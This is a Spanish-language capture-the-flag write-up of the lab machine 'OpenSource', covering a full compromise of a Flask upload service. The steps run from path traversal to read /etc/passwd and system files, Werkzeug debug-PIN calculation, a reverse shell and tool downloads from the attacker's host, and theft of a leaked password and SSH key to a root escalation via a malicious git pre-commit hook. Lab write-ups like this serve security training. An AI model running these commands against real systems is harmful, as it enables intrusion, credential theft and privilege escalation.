OpenSource
15 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.164
- Fecha: 21 / 05 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.164 -p 22,80
Nmap scan report for 10.10.11.164
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date:
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 96.61 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP). El puerto 3000 está filtrado.
Enumeración
Si vamos a http://10.10.11.164
, veremos una página como esta:
Si miramos más abajo, vemos que podemos descargar el código fuente de parte de la aplicación web:
Esta aplicación web está en /upcloud
:
En primer lugar, vamos a aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.164/FUZZ
download [Status: 200, Size: 2489147, Words: 9473, Lines: 9803, Duration: 155ms]
console [Status: 200, Size: 1563, Words: 330, Lines: 46, Duration: 45ms]
Existe la ruta /console
, que sería muy interesante si tuviéramos el PIN, pero no lo tenemos:
Existen maneras de calcular el PIN si tuviéramos acceso a algunos archivos del servidor (más información aquí).
Enumeración de Git
Entonces, vamos a analizar el código fuente que tenemos. En primer lugar, tenemos estos archivos y directorios:
$ tree -a -L 1
.
├── .git
├── Dockerfile
├── app
├── build-docker.sh
├── config
└── source.zip
3 directories, 3 files
Como tenemos un directorio .git
, quiere decir que nos hemos descargado un repositorio de Git, por lo que igual hay información sensible en confirmaciones (commits) antiguas:
$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
$ git diff 2c67 ee9d
diff --git a/Dockerfile b/Dockerfile
index 5b0553c..76c7768 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,6 +29,7 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
+# ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Nada interesante. Vamos a ver si hay más ramas:
$ git branch
dev
* public
Existe una rama llamada dev
, vamos a cambiarnos a esta rama y volver a mirar los commits:
$ git checkout dev
Cambiado a rama 'dev'
$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
Esto está mejor. Vamos a ver las diferencias:
$ git diff a76f ee9d
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
- "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
- "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
- "http.proxyStrictSSL": false
-}
diff --git a/app/app/views.py b/app/app/views.py
index 0f3cc37..f2744c6 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,17 +6,7 @@ from flask import render_template, request, send_file
from app import app
-@app.route('/')
-def index():
- return render_template('index.html')
-
-
-@app.route('/download')
-def download():
- return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
-
-
-@app.route('/upcloud', methods=['GET', 'POST'])
+@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
@@ -30,4 +20,4 @@ def upload_file():
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
- return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
+ return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
Y aquí tenemos una contraseña en texto claro para el usuario dev01
: Soulless_Developer#2022
. Estas credenciales se utilizan en un proxy HTTP en el puerto 5187, pero este puerto está cerrado según nmap
.
Análisis de código estático
Vamos a continuar mirando los códigos fuente:
import os
from flask import Flask
app = Flask(__name__)
if os.environ.get('MODE') == 'PRODUCTION':
app.config.from_object('app.configuration.ProductionConfig')
else:
app.config.from_object('app.configuration.DevelopmentConfig')
from app import views
Está utilizando Flask, que es un framework web en Python. El archivo llamado views.py
contiene todas las rutas disponibles:
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Existe una ruta interesante llamada /uploads
, que coge una ruta de sistema y muestra el contenido del archivo indicado. Sin embargo, hay una función llamada get_file_name
que realiza una sanitización, en utils.py
:
import time
def current_milli_time():
return round(time.time() * 1000)
"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
"""
TODO: get unique filename
"""
def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
"""
Recursively replace a pattern in a string
"""
def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
Como podemos ver, el desarrollador utiliza una técnica recursiva para quitar intentos de navegación de directorios. Por ejemplo, "....//"
será transformado a "../"
y finalmente será una string vacía.
Sin embargo, hay algo que no han tenido en cuenta, ya que podemos utilizar un solo ../
y luego poner un archivo como /etc/passwd
. El problema es que get_file_name
retornará "/etc/passwd"
, y os.path.join
resultará en /etc/passwd
porque no será capaz de unir una ruta absoluta desde el directorio de trabajo actual, public
y uploads
:
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Esta es una prueba de concepto simple, usando %2e
como .
(codificación de URL):
$ curl 10.10.11.164/uploads/%2e%2e//etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
Acceso a la máquina
Con esto, tenemos una manera de leer archivos del servidor (Directory Path Traversal). En este punto, podemos tratar de obtener la información necesaria para calcular el PIN de Werkzeug para ejecutar código de Python desde /console
.
Exploit del PIN de Werkzeug
Para ejecutar Werkzeug PIN exploit, necesitamos:
- El usuario que ejecuta el servidor.
- La ruta absoluta de
app.py
en el directorio deflask
. - La dirección MAC de la máquina (en hexadecimal).
- El ID de la máquina, que aparece en
/etc/machine-id
o en/proc/sys/kernel/random/boot_id
.
El usuario que ejecuta el servidor debe ser root
, ya que no hay otro usuario en /etc/passwd
. Además, la máquina es un contenedor de Docker, ya que tiene un nombre de host aleatorio:
$ curl 10.10.11.164/uploads/%2e%2e//etc/hostname
ef4008903997
El archivo app.py
tiene que estar en /usr/local/lib/python3.5/dist-packages/flask/app.py
(según el exploit), pero no está ahí. A lo mejor la versión de Python es más moderna, y la podemos encontrar al causar un error (por ejemplo, pinchando en “Upload” sin subir un archivo), porque el modo debug
está activo:
Y esta es la ruta buena: /usr/local/lib/python3.10/site-packages/flask/app.py
.
Para la dirección MAC, sabemos que estará en /sys/class/net/<device id>/address
. Podríamos deducir que es eth0
, que es muy común. Y de hecho, así tenemos la dirección MAC:
$ curl 10.10.11.164/uploads/%2e%2e//sys/class/net/eth0/address
02:42:ac:11:00:06
curl: (18) transfer closed with 4078 bytes remaining to read
La explicación del exploit dice de mirar en /proc/net/arp
para ver los interfaces de red disponibles, pero no obtenemos respuesta por curl
. El problema es que la cabecera Content-Length
pone 0
, y curl
deja de leer. Usando modo verboso, hay una advertencia:
$ curl 10.10.11.164/uploads/%2e%2e//proc/net/arp -v
* Trying 10.10.11.164:80...
* Connected to 10.10.11.164 (10.10.11.164) port 80 (#0)
> GET /uploads/%2e%2e//proc/net/arp HTTP/1.1
> Host: 10.10.11.164
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.2 Python/3.10.3
< Date: Tue, 05 Jul 2022 01:13:04 GMT
< Content-Disposition: inline; filename=arp
< Content-Type: application/octet-stream
< Content-Length: 0
< Last-Modified: Tue, 05 Jul 2022 01:13:04 GMT
< Cache-Control: no-cache
< ETag: "1656983584.1326792-0-548799692"
< Date: Tue, 05 Jul 2022 01:13:04 GMT
< Connection: close
<
* Excess found: excess = 156 url = /uploads/%2e%2e//proc/net/arp (zero-length body)
* Closing connection 0
Podemos usar una conexión por sockets en crudo para ver la respuesta completa:
$ echo 'GET /uploads/%2e%2e//proc/net/arp HTTP/1.1' | nc 10.10.11.164 80
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Tue, 05 Jul 2022 01:16:32 GMT
Content-Disposition: inline; filename=arp
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Tue, 05 Jul 2022 01:16:32 GMT
Cache-Control: no-cache
ETag: "1656983792.5126793-0-548799692"
Date: Tue, 05 Jul 2022 01:16:32 GMT
Connection: close
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b6:73:5f:b6 * eth0
Con sed
, podemos mostrar solamente el contenido del cuerpo de respuesta:
$ echo 'GET /uploads/%2e%2e//proc/net/arp HTTP/1.1' | nc 10.10.11.164 80 | sed -n '13,$p'
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b6:73:5f:b6 * eth0
Podemos utilizar esta función llamada read_file
para incluir el anterior comando:
$ function read_file() { echo "GET /uploads/%2e%2e/$1 HTTP/1.1" | nc 10.10.11.164 80 | sed -n '13,$p'; }
$ read_file /proc/net/arp
IP address HW type Flags HW address Mask Device
172.17.0.1 0x1 0x2 02:42:b6:73:5f:b6 * eth0
Y ahí vemos la interfaz eth0
, y además la dirección MAC correspondiente. Para formatearla como número decimal, podemos quitar los dos puntos y añadir 0x
(porque es hexadecimal):
$ python3 -q
>>> 0x0242ac110006
2485377892358
>>> exit()
Finalmente, necesitamos obtener el ID de máquina, pero /etc/machine-id
no existe. Por tanto, tenemos que mirar /proc/sys/kernel/random/boot_id
, según el exploit:
$ read_file /proc/sys/kernel/random/boot_id
0abba663-d46d-4efb-8e26-158c2e4cb6c2
Ahora podemos configurar los parámetros en el exploit de Python para obtener el PIN para la consola:
$ python3 pin_exploit.py
101-705-652
Si este PIN no funciona, tenemos que añadir un valor de /proc/self/cgroups
:
$ read_file /proc/self/cgroup
12:freezer:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
11:rdma:/
10:hugetlb:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
9:pids:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
8:memory:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
7:cpuset:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
6:net_cls,net_prio:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
5:devices:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
4:blkio:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
3:cpu,cpuacct:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
2:perf_event:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
1:name=systemd:/docker/1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
0::/system.slice/snap.docker.dockerd.service
Específicamente, tendríamos que agregar
1445deaaf7a2080ee9da178199caa1f9d1821098ce9e72eb51349bf6f1b754bb
al ID de máquina (0abba663-d46d-4efb-8e26-158c2e4cb6c2
), y ejecutar el exploit otra vez:
$ python3 pin_exploit.py
115-017-757
Si sigue sin funcionar, podemos cambiar el hash MD5 a SHA1 o viceversa.
Finalmente, tenemos un PIN válido para entrar a la consola.
Lo primero que notamos es que el contenedor no tiene Bash, pero sí nc
, por lo que podemos usar un payload de reverse shell para acceder al sistema. Este es el comando (tomado de pentestmonkey.net):
Y conseguimos la conexión de vuelta:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.164.
Ncat: Connection from 10.10.11.164:42081.
/bin/sh: can't access tty; job control turned off
/app # python3 -c 'import pty; pty.spawn("/bin/sh")'
/app # ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
/app # export TERM=xterm
/app # stty rows 50 columns 158
Enumeración del contenedor
Podemos confirmar que estamos en un contenedor Docker (existe un archivo llamado .dockerenv
y la dirección IP es 172.17.0.6
):
/app # ls -la /
total 68
drwxr-xr-x 1 root root 4096 Jul 4 01:27 .
drwxr-xr-x 1 root root 4096 Jul 4 01:27 ..
-rwxr-xr-x 1 root root 0 Jul 4 01:27 .dockerenv
drwxr-xr-x 1 root root 4096 May 4 16:35 app
drwxr-xr-x 1 root root 4096 Mar 17 05:52 bin
drwxr-xr-x 5 root root 340 Jul 4 01:27 dev
drwxr-xr-x 1 root root 4096 Jul 4 01:27 etc
drwxr-xr-x 2 root root 4096 May 4 16:35 home
drwxr-xr-x 1 root root 4096 May 4 16:35 lib
drwxr-xr-x 5 root root 4096 May 4 16:35 media
drwxr-xr-x 2 root root 4096 May 4 16:35 mnt
drwxr-xr-x 2 root root 4096 May 4 16:35 opt
dr-xr-xr-x 230 root root 0 Jul 4 01:27 proc
drwx------ 1 root root 4096 Jul 4 01:53 root
drwxr-xr-x 1 root root 4096 Jul 4 01:27 run
drwxr-xr-x 1 root root 4096 Mar 17 05:52 sbin
drwxr-xr-x 2 root root 4096 May 4 16:35 srv
dr-xr-xr-x 13 root root 0 Jul 4 01:27 sys
drwxrwxrwt 1 root root 4096 Jul 4 01:52 tmp
drwxr-xr-x 1 root root 4096 May 4 16:35 usr
drwxr-xr-x 1 root root 4096 May 4 16:35 var
/app # ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
12: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:06 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.6/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
Aquí tenemos que recordar que el puerto 3000 estaba filtrado en la máquina, a lo mejor podemos acceder a este puerto desde el contenedor, usando la red 172.17.0.0/16
:
/app # wget -qO- 172.17.0.1:3000 | head
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
<meta name="theme-color" content="#6cc644">
<meta name="default-theme" content="auto" />
<meta name="author" content="Gitea - Git with a cup of tea" />
Reenvío de puertos
Aquí está. Para acceder a esta página desde el navegador, tenemos que usar chisel
para realizar un reenvío de puertos.
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.164 - - [] "GET /chisel HTTP/1.1" 200 -
/app # cd /tmp
/tmp # wget 10.10.17.44:8000/chisel -qO .chisel
/tmp # chmod +x .chisel
$ ./chisel server -p 1234 --reverse
server: Reverse tunnelling enabled
server: Fingerprint FX/QSjEzTqjMotC2jW9Y5lk6gKLr5IlopGmfEndFGhU=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening
/tmp # ./.chisel client 10.10.17.44:1234 R:3000:172.17.0.1:3000
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 81.99391ms)
Acceso a Gitea
Ahora podemos ir a http://127.0.0.1:3000
y ver una aplicación web de Gitea:
Este es un gestor de repositorios Git open-source (como GitHub). Podemos listar los usuarios registrados:
Existe uno llamado dev01
… Vamos a intentar iniciar sesión usando las credenciales que tenemos de antes:
Y estamos dentro:
Existe un repositorio llamado home-backup
, y contiene archivos que deberían estar en el directorio personal del usuario:
Vamos a entrar en .ssh
y coger la clave privada de SSH (id_rsa
):
Una manera de obtener estos archivos es con git
, a través del túnel:
$ git clone http://127.0.0.1:3000/dev01/home-backup.git
Clonando en 'home-backup'...
Username for 'http://127.0.0.1:3000': dev01
Password for 'http://dev01@127.0.0.1:3000':
remote: Counting objects: 11, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 11 (delta 0), reused 0 (delta 0)
Desempaquetando objetos: 100% (11/11), 5.77 KiB | 1.44 MiB/s, listo.
Ahora, vamos a acceder por SSH usando la clave privada:
$ chmod 600 home-backup/.ssh/id_rsa
$ ssh -i home-backup/.ssh/id_rsa dev01@10.10.11.164
dev01@opensource:~$ cat user.txt
d2d88b24d324fb497c67d10a9c691310
Enumeración del sistema
Una enumeración básica no muestra nada útil:
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
dev01@opensource:~$ sudo -l
[sudo] password for dev01:
Sorry, user dev01 may not run sudo on opensource.
dev01@opensource:~$ find / -perm -4000 2>/dev/null | grep -v snap
/bin/fusermount
/bin/umount
/bin/mount
/bin/su
/bin/ping
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chfn
Si usamos pspy
para enumerar procesos en ejecución, veremos algunos comandos de Git que son interesantes:
dev01@opensource:~$ cd /tmp
dev01@opensource:/tmp$ wget 10.10.17.44:8000/pspy64s -qO .pspy
dev01@opensource:/tmp$ chmod +x .pspy
dev01@opensource:/tmp$ ./.pspy
...
CMD: UID=0 PID=2689 | /usr/sbin/CRON -f
CMD: UID=0 PID=2697 | /bin/bash /root/meta/app/clean.sh
CMD: UID=0 PID=2696 | cp /root/config /home/dev01/.git/config
CMD: UID=0 PID=2698 | /bin/bash /usr/local/bin/git-sync
CMD: UID=0 PID=2702 | git commit -m Backup for 2022-07-05
CMD: UID=0 PID=2706 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
CMD: UID=0 PID=2705 | cut -d -f1
CMD: UID=0 PID=2704 | /snap/bin/docker exec upcloud6000 hostname -i
CMD: UID=0 PID=2703 | git push origin main
...
Básicamente, está confirmando nuevos cambios en un repositorio cada minuto.
Escalada de privilegios
La idea aquí es que podemos utilizar Git hooks para ejecutar scripts, bien antes del commit o bien después. Podemos ver unos comandos útiles en GTFOBins, o la misma información usando mi herramienta gtfobins-cli
:
$ gtfobins-cli --shell git
git ==> https://gtfobins.github.io/gtfobins/git/
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
PAGER='sh -c "exec sh 0<&1"' git -p help
This invokes the default pager, which is likely to be less, other functions may apply.
git help config
!/bin/sh
The help system can also be reached from any git command, e.g., git branch. This invokes the default pager, which is likely to be less, other functions may apply.
git branch --help config
!/bin/sh
Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the -C option.
TF=$(mktemp -d)
git init "$TF"
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
git "--exec-path=$TF" x
Genial, vamos a introducir un comando en un archivo llamado pre-commit
(sin sufijo .sample
) en .git/hooks
. Por ejemplo, podemos añadir permisos SUID a /bin/bash
:
dev01@opensource:/tmp$ echo 'chmod 4755 /bin/bash' > ~/.git/hooks/pre-commit
dev01@opensource:/tmp$ chmod +x ~/.git/hooks/pre-commit
dev01@opensource:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
Después de algunos segundos, el script se ejecuta por root
al hacer git commit
y /bin/bash
se convierte en binario SUID:
dev01@opensource:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash
Entonces, podemos ejecutar Bash como root
y obtener la flag root.txt
:
dev01@opensource:/tmp$ bash -p
bash-4.4# cat /root/root.txt
a470e19e4c146962df93f39de9df63e7